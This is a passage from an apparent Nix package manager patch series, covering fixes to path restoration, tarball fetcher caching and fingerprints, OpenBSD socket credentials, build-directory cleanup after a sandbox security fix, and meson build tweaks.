+void restorePath(const std::filesystem::path & path, Source & source)
 {
     RestoreSink sink;
     sink.dstPath = path;
diff --git a/src/libutil/archive.hh b/src/libutil/archive.hh
index bd70072cec3..2da8f0cb185 100644
--- a/src/libutil/archive.hh
+++ b/src/libutil/archive.hh
@@ -75,7 +75,7 @@ void dumpString(std::string_view s, Sink & sink);
 
 void parseDump(FileSystemObjectSink & sink, Source & source);
 
-void restorePath(const Path & path, Source & source);
+void restorePath(const std::filesystem::path & path, Source & source);
 
 /**
  * Read a NAR from 'source' and write it to 'sink'.
diff --git a/src/libutil/file-system.cc b/src/libutil/file-system.cc
index 9307a0b533b..f75851bbd58 100644
--- a/src/libutil/file-system.cc
+++ b/src/libutil/file-system.cc
@@ -127,7 +127,7 @@ Path dirOf(const PathView path)
 }
 
 
-std::string_view baseNameOf(PathView path)
+std::string_view baseNameOf(std::string_view path)
 {
     if (path.empty())
         return "";
diff --git a/src/libutil/fs-sink.cc b/src/libutil/fs-sink.cc
index b4900cf8b31..597272ec98c 100644
--- a/src/libutil/fs-sink.cc
+++ b/src/libutil/fs-sink.cc
@@ -84,8 +84,12 @@ struct RestoreRegularFile : CreateRegularFileSink {
 
 void RestoreSink::createRegularFile(const CanonPath & path, std::function<void(CreateRegularFileSink &)> func)
 {
-    std::cout << "SCREAM!!!====== " << dstPath / path.rel() << std::endl;
-    std::filesystem::path p = dstPath / path.rel();
+    auto p = dstPath;
+
+    if (!path.rel().empty()) {
+        p = p / path.rel();
+    }
+
     RestoreRegularFile crf;
     crf.fd =
 #ifdef _WIN32
@@ -136,7 +140,9 @@ void RestoreRegularFile::operator () (std::string_view data)
 
 void RestoreSink::createSymlink(const CanonPath & path, const std::string & target)
 {
-    std::filesystem::path p = dstPath / path.rel();
+    auto p = dstPath;
+    if (!path.rel().empty())
+        p = dstPath / path.rel();
     nix::createSymlink(target, p);
 }
 
diff --git a/src/libutil/git.cc b/src/libutil/git.cc
index f23df566a1b..a6968a43eed 100644
--- a/src/libutil/git.cc
+++ b/src/libutil/git.cc
@@ -208,7 +208,7 @@ std::optional<Mode> convertMode(SourceAccessor::Type type)
 
 void restore(FileSystemObjectSink & sink, Source & source, std::function<RestoreHook> hook)
 {
-    parse(sink, CanonPath{""}, source, BlobMode::Regular, [&](CanonPath name, TreeEntry entry) {
+    parse(sink, CanonPath::root, source, BlobMode::Regular, [&](CanonPath name, TreeEntry entry) {
         auto [accessor, from] = hook(entry.hash);
         auto stat = accessor->lstat(from);
         auto gotOpt = convertMode(stat.type);
diff --git a/tests/unit/libutil/git.cc b/tests/unit/libutil/git.cc
index 9454bb67556..a0125d023ba 100644
--- a/tests/unit/libutil/git.cc
+++ b/tests/unit/libutil/git.cc
@@ -67,7 +67,7 @@ TEST_F(GitTest, blob_read) {
         StringSink out;
         RegularFileSink out2 { out };
         ASSERT_EQ(parseObjectType(in, mockXpSettings), ObjectType::Blob);
-        parseBlob(out2, CanonPath{""}, in, BlobMode::Regular, mockXpSettings);
+        parseBlob(out2, CanonPath::root, in, BlobMode::Regular, mockXpSettings);
 
         auto expected = readFile(goldenMaster("hello-world.bin"));
 
@@ -132,7 +132,7 @@ TEST_F(GitTest, tree_read) {
         NullFileSystemObjectSink out;
         Tree got;
         ASSERT_EQ(parseObjectType(in, mockXpSettings), ObjectType::Tree);
-        parseTree(out, CanonPath{""}, in, [&](auto & name, auto entry) {
+        parseTree(out, CanonPath::root, in, [&](auto & name, auto entry) {
             auto name2 = std::string{name.rel()};
             if (entry.mode == Mode::Directory)
                 name2 += '/';
@@ -227,7 +227,7 @@ TEST_F(GitTest, both_roundrip) {
             mockXpSettings);
     };
 
-    mkSinkHook(CanonPath{""}, root.hash, BlobMode::Regular);
+    mkSinkHook(CanonPath::root, root.hash, BlobMode::Regular);
 
     ASSERT_EQ(*files, *files2);
 }

From 79ed3df8f84adf87b1db708d431e768b8fcc4c05 Mon Sep 17 00:00:00 2001
From: Eelco Dolstra <edolstra@gmail.com>
Date: Wed, 3 Jul 2024 14:14:20 +0200
Subject: [PATCH 496/528] Tarball fetcher: Fix handling of cached tarballs

Fixes a regression introduced in
5a9e1c0d20e2332c79fb0fd7570315a5d93041f2 where downloading a cached
file causes the error "Failed to open archive (Unrecognized archive
format)".
---
 src/libutil/tarfile.cc | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/src/libutil/tarfile.cc b/src/libutil/tarfile.cc
index f0e24e937cd..445968b570c 100644
--- a/src/libutil/tarfile.cc
+++ b/src/libutil/tarfile.cc
@@ -81,6 +81,7 @@ TarArchive::TarArchive(Source & source, bool raw, std::optional<std::string> com
     if (!raw) {
         archive_read_support_format_tar(archive);
         archive_read_support_format_zip(archive);
+        archive_read_support_format_empty(archive);
     } else {
         archive_read_support_format_raw(archive);
         archive_read_support_format_empty(archive);
@@ -99,6 +100,7 @@ TarArchive::TarArchive(const Path & path)
     archive_read_support_filter_all(archive);
     archive_read_support_format_tar(archive);
     archive_read_support_format_zip(archive);
+    archive_read_support_format_empty(archive);
     archive_read_set_option(archive, NULL, "mac-ext", NULL);
     check(archive_read_open_filename(archive, path.c_str(), 16384), "failed to open archive: %s");
 }

From 8bdd0ecd80cbe85a03abb3d8eaf67bc771e64703 Mon Sep 17 00:00:00 2001
From: Eelco Dolstra <edolstra@gmail.com>
Date: Wed, 3 Jul 2024 15:52:49 +0200
Subject: [PATCH 497/528] Add a test

---
 tests/nixos/tarball-flakes.nix | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/tests/nixos/tarball-flakes.nix b/tests/nixos/tarball-flakes.nix
index 2e7f98b5e46..e20b853f741 100644
--- a/tests/nixos/tarball-flakes.nix
+++ b/tests/nixos/tarball-flakes.nix
@@ -74,8 +74,10 @@ in
     assert info["revision"] == "${nixpkgs.rev}"
     assert info["revCount"] == 1234
 
-    # Check that fetching with rev/revCount/narHash succeeds.
+    # Check that a 0-byte cached (304) result works.
+    machine.succeed("nix flake metadata --refresh --json http://localhost/tags/latest.tar.gz")
 
+    # Check that fetching with rev/revCount/narHash succeeds.
     machine.succeed("nix flake metadata --json http://localhost/tags/latest.tar.gz?rev=" + info["revision"])
     machine.succeed("nix flake metadata --json http://localhost/tags/latest.tar.gz?revCount=" + str(info["revCount"]))
     machine.succeed("nix flake metadata --json http://localhost/tags/latest.tar.gz?narHash=" + info["locked"]["narHash"])

From 9d95c228eeb2750d37f86228905d11eea5fb1e05 Mon Sep 17 00:00:00 2001
From: Eelco Dolstra <edolstra@gmail.com>
Date: Wed, 3 Jul 2024 16:28:24 +0200
Subject: [PATCH 498/528] Tarball fetcher: Fix fetchToStore() and eval caching

---
 src/libfetchers/fetchers.cc |  1 +
 src/libfetchers/tarball.cc  | 10 ++++++++++
 2 files changed, 11 insertions(+)

diff --git a/src/libfetchers/fetchers.cc b/src/libfetchers/fetchers.cc
index 170a8910ce4..087880ebef7 100644
--- a/src/libfetchers/fetchers.cc
+++ b/src/libfetchers/fetchers.cc
@@ -260,6 +260,7 @@ std::pair<ref<SourceAccessor>, Input> Input::getAccessorUnchecked(ref<Store> sto
 
     auto [accessor, final] = scheme->getAccessor(store, *this);
 
+    assert(!accessor->fingerprint);
     accessor->fingerprint = scheme->getFingerprint(store, final);
 
     return {accessor, std::move(final)};
diff --git a/src/libfetchers/tarball.cc b/src/libfetchers/tarball.cc
index 5de3670525c..aa8ff652f07 100644
--- a/src/libfetchers/tarball.cc
+++ b/src/libfetchers/tarball.cc
@@ -365,6 +365,16 @@ struct TarballInputScheme : CurlInputScheme
 
         return {result.accessor, input};
     }
+
+    std::optional<std::string> getFingerprint(ref<Store> store, const Input & input) const override
+    {
+        if (auto narHash = input.getNarHash())
+            return narHash->to_string(HashFormat::SRI, true);
+        else if (auto rev = input.getRev())
+            return rev->gitRev();
+        else
+            return std::nullopt;
+    }
 };
 
 static auto rTarballInputScheme = OnStartup([] { registerInputScheme(std::make_unique<TarballInputScheme>()); });

From 1ff186fc6e99e57501fee9291e7013ea88d8720a Mon Sep 17 00:00:00 2001
From: Eelco Dolstra <edolstra@gmail.com>
Date: Wed, 3 Jul 2024 16:37:26 +0200
Subject: [PATCH 499/528] nix flake metadata: Show flake fingerprint

This is useful for testing/debugging and maybe for sharing eval caches
(since it tells you what file in ~/.cache/nix/eval-cache-v5 to copy).
---
 src/nix/flake.cc                  | 6 ++++++
 tests/functional/flakes/flakes.sh | 1 +
 tests/nixos/tarball-flakes.nix    | 3 +++
 3 files changed, 10 insertions(+)

diff --git a/src/nix/flake.cc b/src/nix/flake.cc
index fb7ea621124..84c659023a5 100644
--- a/src/nix/flake.cc
+++ b/src/nix/flake.cc
@@ -233,6 +233,8 @@ struct CmdFlakeMetadata : FlakeCommand, MixJSON
                 j["lastModified"] = *lastModified;
             j["path"] = storePath;
             j["locks"] = lockedFlake.lockFile.toJSON().first;
+            if (auto fingerprint = lockedFlake.getFingerprint(store))
+                j["fingerprint"] = fingerprint->to_string(HashFormat::Base16, false);
             logger->cout("%s", j.dump());
         } else {
             logger->cout(
@@ -265,6 +267,10 @@ struct CmdFlakeMetadata : FlakeCommand, MixJSON
                 logger->cout(
                     ANSI_BOLD "Last modified:" ANSI_NORMAL " %s",
                     std::put_time(std::localtime(&*lastModified), "%F %T"));
+            if (auto fingerprint = lockedFlake.getFingerprint(store))
+                logger->cout(
+                    ANSI_BOLD "Fingerprint:" ANSI_NORMAL "   %s",
+                    fingerprint->to_string(HashFormat::Base16, false));
 
             if (!lockedFlake.lockFile.root->inputs.empty())
                 logger->cout(ANSI_BOLD "Inputs:" ANSI_NORMAL);
diff --git a/tests/functional/flakes/flakes.sh b/tests/functional/flakes/flakes.sh
index c3cb2c6611f..26b91eda751 100755
--- a/tests/functional/flakes/flakes.sh
+++ b/tests/functional/flakes/flakes.sh
@@ -195,6 +195,7 @@ json=$(nix flake metadata flake1 --json | jq .)
 [[ -d $(echo "$json" | jq -r .path) ]]
 [[ $(echo "$json" | jq -r .lastModified) = $(git -C "$flake1Dir" log -n1 --format=%ct) ]]
 hash1=$(echo "$json" | jq -r .revision)
+[[ -n $(echo "$json" | jq -r .fingerprint) ]]
 
 echo foo > "$flake1Dir/foo"
 git -C "$flake1Dir" add $flake1Dir/foo
diff --git a/tests/nixos/tarball-flakes.nix b/tests/nixos/tarball-flakes.nix
index 2e7f98b5e46..bc0ddc3f6f7 100644
--- a/tests/nixos/tarball-flakes.nix
+++ b/tests/nixos/tarball-flakes.nix
@@ -70,6 +70,9 @@ in
     # Check that we got redirected to the immutable URL.
     assert info["locked"]["url"] == "http://localhost/stable/${nixpkgs.rev}.tar.gz"
 
+    # Check that we got a fingerprint for caching.
+    assert info["fingerprint"]
+
     # Check that we got the rev and revCount attributes.
     assert info["revision"] == "${nixpkgs.rev}"
     assert info["revCount"] == 1234

From a09360400bc0f43e865273ba1ccb2b513d8a962e Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Wed, 3 Jul 2024 11:15:56 -0400
Subject: [PATCH 500/528] Ident some CPP in nix daemon

Makes it easier for me to read.
---
 src/nix/unix/daemon.cc | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/src/nix/unix/daemon.cc b/src/nix/unix/daemon.cc
index 41ea1f5a467..c7be77067dc 100644
--- a/src/nix/unix/daemon.cc
+++ b/src/nix/unix/daemon.cc
@@ -211,9 +211,9 @@ static PeerInfo getPeerInfo(int remote)
 
 #elif defined(LOCAL_PEERCRED)
 
-#if !defined(SOL_LOCAL)
-#define SOL_LOCAL 0
-#endif
+# if !defined(SOL_LOCAL)
+# define SOL_LOCAL 0
+# endif
 
     xucred cred;
     socklen_t credLen = sizeof(cred);

From 10ccdb7a415aec754dc7f834c5f9944c13241473 Mon Sep 17 00:00:00 2001
From: kn <kn@openbsd.org>
Date: Sat, 11 Mar 2023 19:43:04 +0000
Subject: [PATCH 501/528] Use proper struct sockpeercred for SO_PEERCRED for
 OpenBSD

getsockopt(2) documents this;  ucred is wrong ("cr_" member prefix, no pid).
---
 src/nix/unix/daemon.cc | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/src/nix/unix/daemon.cc b/src/nix/unix/daemon.cc
index c7be77067dc..4a7997b1fb0 100644
--- a/src/nix/unix/daemon.cc
+++ b/src/nix/unix/daemon.cc
@@ -203,7 +203,11 @@ static PeerInfo getPeerInfo(int remote)
 
 #if defined(SO_PEERCRED)
 
-    ucred cred;
+# if defined(__OpenBSD__)
+   struct sockpeercred cred;
+# else
+   ucred cred;
+# endif
     socklen_t credLen = sizeof(cred);
     if (getsockopt(remote, SOL_SOCKET, SO_PEERCRED, &cred, &credLen) == -1)
         throw SysError("getting peer credentials");

From 5b4102c3b25350872d8fefffac3547a63863f0c1 Mon Sep 17 00:00:00 2001
From: Eelco Dolstra <edolstra@gmail.com>
Date: Wed, 3 Jul 2024 21:54:54 +0200
Subject: [PATCH 502/528] Tarball fetcher: Include revCount/lastModified in the
 fingerprint

This can influence the evaluation result so they should be included in
the fingerprint.
---
 src/libfetchers/fetchers.cc |  2 +-
 src/libflake/flake/flake.cc | 12 +++++++++++-
 2 files changed, 12 insertions(+), 2 deletions(-)

diff --git a/src/libfetchers/fetchers.cc b/src/libfetchers/fetchers.cc
index 087880ebef7..29496067832 100644
--- a/src/libfetchers/fetchers.cc
+++ b/src/libfetchers/fetchers.cc
@@ -419,7 +419,7 @@ namespace nlohmann {
 using namespace nix;
 
 fetchers::PublicKey adl_serializer<fetchers::PublicKey>::from_json(const json & json) {
-    fetchers::PublicKey res = {  };
+    fetchers::PublicKey res = { };
     if (auto type = optionalValueAt(json, "type"))
         res.type = getString(*type);
 
diff --git a/src/libflake/flake/flake.cc b/src/libflake/flake/flake.cc
index 93d528d61fe..6f47b599229 100644
--- a/src/libflake/flake/flake.cc
+++ b/src/libflake/flake/flake.cc
@@ -950,10 +950,20 @@ std::optional<Fingerprint> LockedFlake::getFingerprint(ref<Store> store) const
     auto fingerprint = flake.lockedRef.input.getFingerprint(store);
     if (!fingerprint) return std::nullopt;
 
+    *fingerprint += fmt(";%s;%s", flake.lockedRef.subdir, lockFile);
+
+    /* Include revCount and lastModified because they're not
+       necessarily implied by the content fingerprint (e.g. for
+       tarball flakes) but can influence the evaluation result. */
+    if (auto revCount = flake.lockedRef.input.getRevCount())
+        *fingerprint += fmt(";revCount=%d", *revCount);
+    if (auto lastModified = flake.lockedRef.input.getLastModified())
+        *fingerprint += fmt(";lastModified=%d", *lastModified);
+
     // FIXME: as an optimization, if the flake contains a lock file
     // and we haven't changed it, then it's sufficient to use
     // flake.sourceInfo.storePath for the fingerprint.
-    return hashString(HashAlgorithm::SHA256, fmt("%s;%s;%s", *fingerprint, flake.lockedRef.subdir, lockFile));
+    return hashString(HashAlgorithm::SHA256, *fingerprint);
 }
 
 Flake::~Flake() { }

From 976c05879f48e73eabe6818231da4bc7886c6c8c Mon Sep 17 00:00:00 2001
From: siddhantCodes <siddhantk232@gmail.com>
Date: Thu, 4 Jul 2024 11:09:23 +0530
Subject: [PATCH 503/528] factor duplicate code into util function `append`

---
 src/libutil/fs-sink.cc | 18 ++++++++++--------
 1 file changed, 10 insertions(+), 8 deletions(-)

diff --git a/src/libutil/fs-sink.cc b/src/libutil/fs-sink.cc
index 597272ec98c..194e86fdd6b 100644
--- a/src/libutil/fs-sink.cc
+++ b/src/libutil/fs-sink.cc
@@ -82,13 +82,17 @@ struct RestoreRegularFile : CreateRegularFileSink {
     void preallocateContents(uint64_t size) override;
 };
 
-void RestoreSink::createRegularFile(const CanonPath & path, std::function<void(CreateRegularFileSink &)> func)
+static std::filesystem::path append(const std::filesystem::path & src, const CanonPath & path)
 {
-    auto p = dstPath;
+    auto dst = src;
+    if (!path.rel().empty())
+        dst /= path.rel();
+    return dst;
+}
 
-    if (!path.rel().empty()) {
-        p = p / path.rel();
-    }
+void RestoreSink::createRegularFile(const CanonPath & path, std::function<void(CreateRegularFileSink &)> func)
+{
+    auto p = append(dstPath, path);
 
     RestoreRegularFile crf;
     crf.fd =
@@ -140,9 +144,7 @@ void RestoreRegularFile::operator () (std::string_view data)
 
 void RestoreSink::createSymlink(const CanonPath & path, const std::string & target)
 {
-    auto p = dstPath;
-    if (!path.rel().empty())
-        p = dstPath / path.rel();
+    auto p = append(dstPath, path);
     nix::createSymlink(target, p);
 }
 

From c66079f1e875b8d7c75abc9b553c8b02d2746216 Mon Sep 17 00:00:00 2001
From: Valentin Gagarin <valentin.gagarin@tweag.io>
Date: Thu, 4 Jul 2024 10:36:48 +0200
Subject: [PATCH 504/528] use self-descriptive name for config file parser,
 document

Co-authored-by: Robert Hensing <roberth@users.noreply.github.com>
---
 src/libutil/config.cc | 13 ++++++++++---
 1 file changed, 10 insertions(+), 3 deletions(-)

diff --git a/src/libutil/config.cc b/src/libutil/config.cc
index 192a4ecb951..907ca7fc149 100644
--- a/src/libutil/config.cc
+++ b/src/libutil/config.cc
@@ -91,7 +91,14 @@ void Config::getSettings(std::map<std::string, SettingInfo> & res, bool overridd
 }
 
 
-static void applyConfigInner(const std::string & contents, const std::string & path, std::vector<std::pair<std::string, std::string>> & parsedContents) {
+/**
+ * Parse configuration in `contents`, and also the configuration files included from there, with their location specified relative to `path`.
+ *
+ * `contents` and `path` represent the file that is being parsed.
+ * The result is only an intermediate list of key-value pairs of strings.
+ * More parsing according to the settings-specific semantics is being done by `loadConfFile` in `libstore/globals.cc`.
+*/
+static void parseConfigFiles(const std::string & contents, const std::string & path, std::vector<std::pair<std::string, std::string>> & parsedContents) {
     unsigned int pos = 0;
 
     while (pos < contents.size()) {
@@ -125,7 +132,7 @@ static void applyConfigInner(const std::string & contents, const std::string & p
             if (pathExists(p)) {
                 try {
                     std::string includedContents = readFile(p);
-                    applyConfigInner(includedContents, p, parsedContents);
+                    parseConfigFiles(includedContents, p, parsedContents);
                 } catch (SystemError &) {
                     // TODO: Do we actually want to ignore this? Or is it better to fail?
                 }
@@ -153,7 +160,7 @@ static void applyConfigInner(const std::string & contents, const std::string & p
 void AbstractConfig::applyConfig(const std::string & contents, const std::string & path) {
     std::vector<std::pair<std::string, std::string>> parsedContents;
 
-    applyConfigInner(contents, path, parsedContents);
+    parseConfigFiles(contents, path, parsedContents);
 
     // First apply experimental-feature related settings
     for (const auto & [name, value] : parsedContents)

From 76e4adfaac3083056e79b518ccc197a7645a0f2d Mon Sep 17 00:00:00 2001
From: Emily <vcs@emily.moe>
Date: Thu, 4 Jul 2024 16:19:51 +0100
Subject: [PATCH 505/528] libstore: clean up the build directory properly
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

After the fix for CVE-2024-38531, this was only removing the nested
build directory, rather than the top‐level temporary directory.

Fixes: 1d3696f0fb88d610abc234a60e0d6d424feafdf1
---
 src/libstore/unix/build/local-derivation-goal.cc | 9 +++++----
 src/libstore/unix/build/local-derivation-goal.hh | 8 +++++++-
 2 files changed, 12 insertions(+), 5 deletions(-)

diff --git a/src/libstore/unix/build/local-derivation-goal.cc b/src/libstore/unix/build/local-derivation-goal.cc
index a20ed530074..b20bd2d8cbd 100644
--- a/src/libstore/unix/build/local-derivation-goal.cc
+++ b/src/libstore/unix/build/local-derivation-goal.cc
@@ -503,12 +503,12 @@ void LocalDerivationGoal::startBuilder()
 
     /* Create a temporary directory where the build will take
        place. */
-    tmpDir = createTempDir(settings.buildDir.get().value_or(""), "nix-build-" + std::string(drvPath.name()), false, false, 0700);
+    topTmpDir = createTempDir(settings.buildDir.get().value_or(""), "nix-build-" + std::string(drvPath.name()), false, false, 0700);
     if (useChroot) {
         /* If sandboxing is enabled, put the actual TMPDIR underneath
            an inaccessible root-owned directory, to prevent outside
            access. */
-        tmpDir = tmpDir + "/build";
+        tmpDir = topTmpDir + "/build";
         createDir(tmpDir, 0700);
     }
     chownToBuilder(tmpDir);
@@ -2980,7 +2980,7 @@ void LocalDerivationGoal::checkOutputs(const std::map<std::string, ValidPathInfo
 
 void LocalDerivationGoal::deleteTmpDir(bool force)
 {
-    if (tmpDir != "") {
+    if (topTmpDir != "") {
         /* Don't keep temporary directories for builtins because they
            might have privileged stuff (like a copy of netrc). */
         if (settings.keepFailed && !force && !drv->isBuiltin()) {
@@ -2988,7 +2988,8 @@ void LocalDerivationGoal::deleteTmpDir(bool force)
             chmod(tmpDir.c_str(), 0755);
         }
         else
-            deletePath(tmpDir);
+            deletePath(topTmpDir);
+        topTmpDir = "";
         tmpDir = "";
     }
 }
diff --git a/src/libstore/unix/build/local-derivation-goal.hh b/src/libstore/unix/build/local-derivation-goal.hh
index 77d07de9899..4bcf5c9d457 100644
--- a/src/libstore/unix/build/local-derivation-goal.hh
+++ b/src/libstore/unix/build/local-derivation-goal.hh
@@ -27,10 +27,16 @@ struct LocalDerivationGoal : public DerivationGoal
     std::optional<Path> cgroup;
 
     /**
-     * The temporary directory.
+     * The temporary directory used for the build.
      */
     Path tmpDir;
 
+    /**
+     * The top-level temporary directory. `tmpDir` is either equal to
+     * or a child of this directory.
+     */
+    Path topTmpDir;
+
     /**
      * The path of the temporary directory in the sandbox.
      */

From af2e1142b17dadf24a0b66d8973033dce6efa32b Mon Sep 17 00:00:00 2001
From: Emily <vcs@emily.moe>
Date: Thu, 4 Jul 2024 16:24:59 +0100
Subject: [PATCH 506/528] libstore: fix sandboxed builds on macOS
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

The recent fix for CVE-2024-38531 broke the sandbox on macOS
completely. As it’s not practical to use `chroot(2)` on
macOS, the build takes place in the main filesystem tree, and the
world‐unreadable wrapper directory prevents the build from accessing
its `$TMPDIR` at all.

The macOS sandbox probably shouldn’t be treated as any kind of a
security boundary in its current state, but this specific vulnerability
wasn’t possible to exploit on macOS anyway, as creating `set{u,g}id`
binaries is blocked by sandbox policy.

Locking down the build sandbox further may be a good idea in future,
but it already has significant compatibility issues. For now, restore
the previous status quo on macOS.

Thanks to @alois31 for helping me come to a better understanding of
the vulnerability.

Fixes: 1d3696f0fb88d610abc234a60e0d6d424feafdf1
Closes: #11002
---
 src/libstore/unix/build/local-derivation-goal.cc | 12 +++++++++++-
 1 file changed, 11 insertions(+), 1 deletion(-)

diff --git a/src/libstore/unix/build/local-derivation-goal.cc b/src/libstore/unix/build/local-derivation-goal.cc
index b20bd2d8cbd..d5a3e0034f9 100644
--- a/src/libstore/unix/build/local-derivation-goal.cc
+++ b/src/libstore/unix/build/local-derivation-goal.cc
@@ -504,12 +504,22 @@ void LocalDerivationGoal::startBuilder()
     /* Create a temporary directory where the build will take
        place. */
     topTmpDir = createTempDir(settings.buildDir.get().value_or(""), "nix-build-" + std::string(drvPath.name()), false, false, 0700);
+#if __APPLE__
+    if (false) {
+#else
     if (useChroot) {
+#endif
         /* If sandboxing is enabled, put the actual TMPDIR underneath
            an inaccessible root-owned directory, to prevent outside
-           access. */
+           access.
+
+           On macOS, we don't use an actual chroot, so this isn't
+           possible. Any mitigation along these lines would have to be
+           done directly in the sandbox profile. */
         tmpDir = topTmpDir + "/build";
         createDir(tmpDir, 0700);
+    } else {
+        tmpDir = topTmpDir;
     }
     chownToBuilder(tmpDir);
 

From e4056b9afdf732068a309e9cac959190a640f055 Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Thu, 4 Jul 2024 17:48:27 -0400
Subject: [PATCH 507/528] Apply suggestions from code review

Co-authored-by: Robert Hensing <roberth@users.noreply.github.com>
---
 build-utils-meson/deps-lists/meson.build  | 2 +-
 build-utils-meson/diagnostics/meson.build | 3 ---
 src/libexpr-c/meson.build                 | 2 +-
 src/libexpr-c/package.nix                 | 1 -
 src/libstore-c/meson.build                | 2 +-
 src/libstore/meson.build                  | 3 ++-
 tests/unit/libexpr/meson.build            | 3 +--
 7 files changed, 6 insertions(+), 10 deletions(-)

diff --git a/build-utils-meson/deps-lists/meson.build b/build-utils-meson/deps-lists/meson.build
index 89fbfdb36ea..237eac5459a 100644
--- a/build-utils-meson/deps-lists/meson.build
+++ b/build-utils-meson/deps-lists/meson.build
@@ -20,7 +20,7 @@ deps_private = [ ]
 # C library, whose public interface --- including public but not private
 # dependencies --- will also likewise soon be stable.
 #
-# N.B. For distributions that care about "ABI" stablity and not just
+# N.B. For distributions that care about "ABI" stability and not just
 # "API" stability, the private dependencies also matter as they can
 # potentially affect the public ABI.
 deps_public = [ ]
diff --git a/build-utils-meson/diagnostics/meson.build b/build-utils-meson/diagnostics/meson.build
index eb0c636c026..2b79f6566dc 100644
--- a/build-utils-meson/diagnostics/meson.build
+++ b/build-utils-meson/diagnostics/meson.build
@@ -9,8 +9,5 @@ add_project_arguments(
   # Enable assertions in libstdc++ by default. Harmless on libc++. Benchmarked
   # at ~1% overhead in `nix search`.
   #
-  # FIXME: remove when we get meson 1.4.0 which will default this to on for us:
-  # https://mesonbuild.com/Release-notes-for-1-4-0.html#ndebug-setting-now-controls-c-stdlib-assertions
-  '-D_GLIBCXX_ASSERTIONS=1',
   language : 'cpp',
 )
diff --git a/src/libexpr-c/meson.build b/src/libexpr-c/meson.build
index fb9ade28d0b..2a2669b3e5e 100644
--- a/src/libexpr-c/meson.build
+++ b/src/libexpr-c/meson.build
@@ -69,7 +69,7 @@ headers = [config_h] + files(
   'nix_api_value.h',
 )
 
-# TODO don't install this once tests don't use it.
+# TODO move this header to libexpr, maybe don't use it in tests?
 headers += files('nix_api_expr_internal.h')
 
 subdir('build-utils-meson/export-all-symbols')
diff --git a/src/libexpr-c/package.nix b/src/libexpr-c/package.nix
index 81e42cf6a73..b445a8187d6 100644
--- a/src/libexpr-c/package.nix
+++ b/src/libexpr-c/package.nix
@@ -1,7 +1,6 @@
 { lib
 , stdenv
 , mkMesonDerivation
-, releaseTools
 
 , meson
 , ninja
diff --git a/src/libstore-c/meson.build b/src/libstore-c/meson.build
index 426f07a34e0..917de4cda51 100644
--- a/src/libstore-c/meson.build
+++ b/src/libstore-c/meson.build
@@ -61,7 +61,7 @@ headers = [config_h] + files(
   'nix_api_store.h',
 )
 
-# TODO don't install this once tests don't use it.
+# TODO don't install this once tests don't use it and/or move the header into `libstore`, non-`c`
 headers += files('nix_api_store_internal.h')
 
 subdir('build-utils-meson/export-all-symbols')
diff --git a/src/libstore/meson.build b/src/libstore/meson.build
index f94a454da15..7444cba20b5 100644
--- a/src/libstore/meson.build
+++ b/src/libstore/meson.build
@@ -118,7 +118,8 @@ busybox = find_program(get_option('sandbox-shell'), required : false)
 if get_option('embedded-sandbox-shell')
   # This one goes in config.h
   # The path to busybox is passed as a -D flag when compiling this_library.
-  # Idk why, ask the old buildsystem.
+  # This solution is inherited from the old make buildsystem
+  # TODO: do this differently?
   configdata.set('HAVE_EMBEDDED_SANDBOX_SHELL', 1)
   hexdump = find_program('hexdump', native : true)
   embedded_sandbox_shell_gen = custom_target(
diff --git a/tests/unit/libexpr/meson.build b/tests/unit/libexpr/meson.build
index 71865b59f1c..a7b22f7f1e8 100644
--- a/tests/unit/libexpr/meson.build
+++ b/tests/unit/libexpr/meson.build
@@ -30,7 +30,7 @@ subdir('build-utils-meson/export-all-symbols')
 rapidcheck = dependency('rapidcheck')
 deps_private += rapidcheck
 
-gtest = dependency('gtest', main : true)
+gtest = dependency('gtest')
 deps_private += gtest
 
 gtest = dependency('gmock')
@@ -77,7 +77,6 @@ this_exe = executable(
   include_directories : include_dirs,
   # TODO: -lrapidcheck, see ../libutil-support/build.meson
   link_args: linker_export_flags + ['-lrapidcheck'],
-  # get main from gtest
   install : true,
 )
 

From 09763c7cad66938e1675a4081194ae9e8054c22b Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Fri, 5 Jul 2024 15:28:41 +0200
Subject: [PATCH 508/528] getDerivations: add attributes to trace
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

This improves the error message of nix-env -qa, among others, which
is crucial for understanding some ofborg eval error reports, such as
https://gist.github.com/GrahamcOfBorg/89101ca9c2c855d288178f1d3c78efef

After this change, it will report the same trace, but also start with

```
error:
       … while evaluating the attribute 'devShellTools'

       … while evaluating the attribute 'nixos'

       … while evaluating the attribute 'docker-tools-nix-shell'

       … while evaluating the attribute 'aarch64-darwin'

       … from call site
         at /home/user/h/nixpkgs/outpaths.nix:48:6:
           47|   tweak = lib.mapAttrs
           48|     (name: val:
             |      ^
           49|       if name == "recurseForDerivations" then true

<same>
```
---
 src/libexpr/get-drvs.cc | 33 +++++++++++++++++++--------------
 1 file changed, 19 insertions(+), 14 deletions(-)

diff --git a/src/libexpr/get-drvs.cc b/src/libexpr/get-drvs.cc
index 0d2aecc58f2..8967334237a 100644
--- a/src/libexpr/get-drvs.cc
+++ b/src/libexpr/get-drvs.cc
@@ -374,21 +374,26 @@ static void getDerivations(EvalState & state, Value & vIn,
            bound to the attribute with the "lower" name should take
            precedence). */
         for (auto & i : v.attrs()->lexicographicOrder(state.symbols)) {
-            debug("evaluating attribute '%1%'", state.symbols[i->name]);
-            if (!std::regex_match(std::string(state.symbols[i->name]), attrRegex))
-                continue;
-            std::string pathPrefix2 = addToPath(pathPrefix, state.symbols[i->name]);
-            if (combineChannels)
-                getDerivations(state, *i->value, pathPrefix2, autoArgs, drvs, done, ignoreAssertionFailures);
-            else if (getDerivation(state, *i->value, pathPrefix2, drvs, done, ignoreAssertionFailures)) {
-                /* If the value of this attribute is itself a set,
-                   should we recurse into it?  => Only if it has a
-                   `recurseForDerivations = true' attribute. */
-                if (i->value->type() == nAttrs) {
-                    auto j = i->value->attrs()->get(state.sRecurseForDerivations);
